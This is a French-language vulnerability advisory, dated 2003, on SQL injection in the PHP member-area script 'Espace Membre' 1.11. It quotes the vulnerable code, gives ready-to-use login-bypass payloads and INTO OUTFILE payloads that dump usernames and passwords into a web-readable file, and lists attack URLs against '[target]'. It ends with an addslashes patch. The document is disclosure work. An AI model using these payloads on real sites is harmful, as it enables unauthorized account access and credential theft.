Espace Membre ************** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.webjeff.org Version : 1.11 Configuration : fonctionne si magic_quotes_gpc=OFF Problème : Injection SQL Developpement : °°°°°°°°°°°°°°° Comme le montre son nom, Espace Membre est un script permettant la gestion d'un espace membres, avec une page d'inscription, une page de login et un code à mettre sur les pages réservées aux membres. Ce qui suit n'est donc possible que si magic_quotes_gpc=OFF. Deux possibilités d'injection SQL se trouvent dans se script. Elles sont très classiques. La première se trouve dans login.php3. J'ai enlevé les commentaires du code : ----------------------------------------------------------------------------------------------------------------------------- [...] $requete=mysql_db_query($sql_bdd,"select pseudo,passe from membre where pseudo=\"$pseudo_membre\" and passe=\"$passe_membre\"",$db_link) or die(mysql_error()); if(mysql_num_rows($requete)==0) { header("Location:$url_erreur"); } else { $taille = 20; $lettres = "abcdefghijklmnopqrstuvwxyz0123456789"; srand(time()); for ($i=0;$i<$taille;$i++) { $id.=substr($lettres,(rand()%(strlen($lettres))),1); } $requete=mysql_db_query($sql_bdd,"update membre set id=\"$id\" where pseudo=\"$pseudo_membre\" and passe=\"$passe_membre\"",$db_link) or die(mysql_error()); header("Location:zonemembre.php3?id=$id"); } [...] ----------------------------------------------------------------------------------------------------------------------------- Le script vérifie donc si il y a bien dans la base de données le pseudo et le mot de passe envoyé par l'utilisateur, et si ils correspondent. Si il n'y a pas de résultat, on redirige vers une autre page. Sinon on génère un identifiant qu'on enregistre dans la base de donnée comme étant celui de l'utilisateur qui vient de se logger. Puis on redirige vers une url contenant l'id (cette page vérifiera si l'id correspond bien à un utilisateur ou pas). La requête executée est : --------------------------------------------------------------------------------------- select pseudo,passe from membre where pseudo="$pseudo_membre" and passe="$passe_membre" --------------------------------------------------------------------------------------- C'est là que vient la faille classique :) Si on donne comme valeur à $pseudo_membre et $pass_membre " OR ""=", la requête executée deviendra : ------------------------------------------------------------------------------- select pseudo,passe from membre where pseudo="" OR ""="" and passe="" OR ""="" ------------------------------------------------------------------------------- ""="" comme 1=1, ISNULL(NULL), 3>2 et bien d'autres expressions retourne toujours VRAI, la requête aura donc un résultat car elle extrait tout les pseudos et passes de la table membre. On aurait pu avoir le même résultat avec beaucoup de possibilités, par exemple en utilisant les commentaires. Si on donne à $pseudo_membre la valeur : "/* et à $passe_membre la valeur : */ OR NULL IS NULL # On aura alors une requête qui ressemblera à : ---------------------------------------------------------------------------------- select pseudo,passe from membre where pseudo=""/*" and passe="*/ OR NULL IS NULL#" ---------------------------------------------------------------------------------- On peut enlever tout ce qui est "commenté", c'est à dire ce qui est entre les caractères /* et */ ou derrière les caractères # ou /*, ce qui donne : -------------------------------------------------------------- select pseudo,passe from membre where pseudo="" OR NULL IS NUL -------------------------------------------------------------- NULL IS NULL étant aussi une expression qui renvoit toujours vrai, on a donc le même résultat. Par une url, ça donne : http://[target]/login.php3?pseudo_membre=%22%2F%2A&passe_membre=%2A%2F%20OR%20NULL%20IS%20NULL%20%23 On peut donc se logger dans n'importe quel compte. On peut aussi utiliser INTO OUTFILE, puisqu'il y a un "select", pour enregistrer les pseudos et mot de passes dans un fichier (à condition de connaître le path complet du site dans le disque dur). Par exemple en donnant à $pseudo_membre la valeur : " OR 1=1 INTO OUTFILE "/path/file.txt"/* La requête executée serait alors : ------------------------------------------------------------------------------------ select pseudo,passe from membre where pseudo="" OR 1=1 INTO OUTFILE "/path/file.txt" ------------------------------------------------------------------------------------ Et les données pourront être trouvées sur le site http://[target]/file.txt. Dans une url, ça donne : http://[target]/login.php3?pseudo_membre=%22%20OR%201%3D1%20INTO%20OUTFILE%20%22%2Fpath%2Ffile.txt%22%2F%2A INTO OUTFILE ne peut être utilisé que si le serveur à le droit d'écriture. L'autre problème vient du code à inclure dans chaque page réservée. On peut le voir en exemple dans zonemembre.php3 : --------------------------------------------------------------------------------------------------------------------------- $sql_bdd sur le serveur $sql_server
Vérifiez les paramètres du fichier conf.php3"; exit;} $requete=mysql_db_query($sql_bdd,"select * from membre where id=\"$id\"",$db_link) or die(mysql_error()); if(mysql_num_rows($requete)==0) { header("Location:$url_erreur"); exit; } $pseudo_membre=mysql_result($requete,0,"pseudo"); mysql_close($db_link); ?> --------------------------------------------------------------------------------------------------------------------------- Inutile de tout réexpliquer, c'est la même chose. La requête est : ----------------------------------- select * from membre where id="$id" ----------------------------------- On peut donc : - Etre considéré comme loggé en donnant par exemple à $id la valeur " OR "aa"="aa, avec l'url http://[target]/zonemembre.php3?id="%20OR%20"aa"="aa - Enregistrer toutes les données dans un fichier http://[target]/file.txt avec une url comme : http://[target]/zonemembre.php3?id="%20OR%201=1%20INTO%20OUTFILE%20"/path/file.txt Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. Ajouter au début de login.php3 : -------------------------------------------- $pseudo_membre = addslashes($_POST["pseudo_membre"]); $passe_membre = addslashes($_POST["passe_membre"]); -------------------------------------------- et au début du code à inclure dans les pages réservées : ------------------------------ $id = addslashes($_GET["id"]); ------------------------------ Credits : °°°°°°°°° Auteur : frog-m@n E-mail : frog-man@frog-man.org Websites : http://www.frog-man.org, http://www.phpsecure.info Date : 09/04/03